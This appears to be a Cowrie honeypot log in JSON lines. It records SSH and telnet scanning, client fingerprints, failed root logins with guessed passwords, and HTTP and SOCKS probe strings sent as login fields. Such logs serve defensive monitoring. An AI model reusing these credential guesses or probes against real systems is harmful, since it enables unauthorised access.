{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:59.710704Z","src_ip":"189.190.244.176","session":"aeb83bc4ca42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"werner","message":"login attempt [root/werner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:00.047941Z","src_ip":"189.190.244.176","session":"aeb83bc4ca42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:01.127002Z","src_ip":"189.190.244.176","session":"aeb83bc4ca42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.29672265052795,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:04.190548Z","src_ip":"94.23.66.112","session":"4e00050ba09f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.13034677505493,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:05.629640Z","src_ip":"156.229.21.54","session":"5f54383e1db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":54114,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b884cf77598","protocol":"telnet","message":"New connection: 156.229.21.54:54114 (10.17.0.5:23) [session: 5b884cf77598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:05.716078Z"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:05.774390Z","src_ip":"156.229.21.54","session":"5b884cf77598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":37672,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad8997131d7","protocol":"ssh","message":"New connection: 52.169.217.131:37672 (159.203.135.109:22) [session: 8ad8997131d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:14.149956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:14.153367Z","src_ip":"52.169.217.131","session":"8ad8997131d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:14.216885Z","src_ip":"52.169.217.131","session":"8ad8997131d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maurice","message":"login attempt [root/maurice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:14.519691Z","src_ip":"52.169.217.131","session":"8ad8997131d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:15.588703Z","src_ip":"52.169.217.131","session":"8ad8997131d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.2247154712677,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:23.940688Z","src_ip":"156.229.21.54","session":"5b884cf77598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":34856,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5cc4f88683a","protocol":"telnet","message":"New connection: 156.229.21.54:34856 (10.17.0.5:23) [session: a5cc4f88683a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.018080Z"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"TERMINAL-TYPE","option_byte":24,"message":"Telnet WILL TERMINAL-TYPE","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.063072Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet WILL UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.065539Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"UNKNOWN-25","option_byte":25,"message":"Telnet DO UNKNOWN-25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.067652Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WILL","option_name":"BINARY","option_byte":0,"message":"Telnet WILL BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.069139Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"BINARY","option_byte":0,"message":"Telnet DO BINARY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:24.071284Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.22868013381958,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:42.246660Z","src_ip":"156.229.21.54","session":"a5cc4f88683a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ce5219b1d6","protocol":"telnet","message":"New connection: 156.229.21.54:50750 (10.17.0.5:23) [session: 94ce5219b1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:42.313660Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:42.317872Z","src_ip":"156.229.21.54","session":"94ce5219b1d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6","password":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0","message":"login attempt [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:42:42.322850Z","src_ip":"156.229.21.54","session":"94ce5219b1d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.09945845603943,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:00.413020Z","src_ip":"156.229.21.54","session":"94ce5219b1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":43524,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3ba2f3f28fb","protocol":"telnet","message":"New connection: 156.229.21.54:43524 (10.17.0.5:23) [session: d3ba2f3f28fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:00.482910Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'","password":"github.com\u0000PGET / HTTP/1.0","message":"login attempt [b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'/github.com\u0000PGET / HTTP/1.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:00.492379Z","src_ip":"156.229.21.54","session":"d3ba2f3f28fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47730,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5e34b1cf8c","protocol":"ssh","message":"New connection: 103.27.238.116:47730 (10.17.0.5:22) [session: 3a5e34b1cf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:06.265552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:06.269419Z","src_ip":"103.27.238.116","session":"3a5e34b1cf8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:06.526859Z","src_ip":"103.27.238.116","session":"3a5e34b1cf8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":50956,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f0c6f6c0d20","protocol":"ssh","message":"New connection: 132.148.155.138:50956 (159.203.135.109:22) [session: 7f0c6f6c0d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:07.149016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:07.155023Z","src_ip":"132.148.155.138","session":"7f0c6f6c0d20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:07.213962Z","src_ip":"132.148.155.138","session":"7f0c6f6c0d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oblivion1","message":"login attempt [root/oblivion1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:07.301492Z","src_ip":"103.27.238.116","session":"3a5e34b1cf8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty@#$%^&*(","message":"login attempt [root/qwerty@#$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:07.465441Z","src_ip":"132.148.155.138","session":"7f0c6f6c0d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:08.532464Z","src_ip":"132.148.155.138","session":"7f0c6f6c0d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:08.561126Z","src_ip":"103.27.238.116","session":"3a5e34b1cf8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":52308,"dst_ip":"10.17.0.5","dst_port":22,"session":"4137b4118d99","protocol":"ssh","message":"New connection: 162.214.22.174:52308 (10.17.0.5:22) [session: 4137b4118d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:13.532341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:13.534636Z","src_ip":"162.214.22.174","session":"4137b4118d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:13.623009Z","src_ip":"162.214.22.174","session":"4137b4118d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hbar789","message":"login attempt [root/hbar789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:13.889413Z","src_ip":"162.214.22.174","session":"4137b4118d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:15.272242Z","src_ip":"162.214.22.174","session":"4137b4118d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.1551034450531,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:18.637870Z","src_ip":"156.229.21.54","session":"d3ba2f3f28fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":24978,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8797773881c","protocol":"ssh","message":"New connection: 178.128.39.166:24978 (159.203.135.109:22) [session: f8797773881c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:18.670313Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":45862,"dst_ip":"10.17.0.5","dst_port":23,"session":"9603b025d65e","protocol":"telnet","message":"New connection: 156.229.21.54:45862 (10.17.0.5:23) [session: 9603b025d65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:18.704697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:18.709279Z","src_ip":"178.128.39.166","session":"f8797773881c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:18.840029Z","src_ip":"178.128.39.166","session":"f8797773881c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"football","message":"login attempt [root/football] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:19.321976Z","src_ip":"178.128.39.166","session":"f8797773881c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:20.531636Z","src_ip":"178.128.39.166","session":"f8797773881c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":54062,"dst_ip":"10.17.0.5","dst_port":22,"session":"59ab9b1d23a1","protocol":"ssh","message":"New connection: 189.190.244.176:54062 (10.17.0.5:22) [session: 59ab9b1d23a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:32.905012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:43:32.908930Z","src_ip":"189.190.244.176","session":"59ab9b1d23a1","protocol":"ssh"}
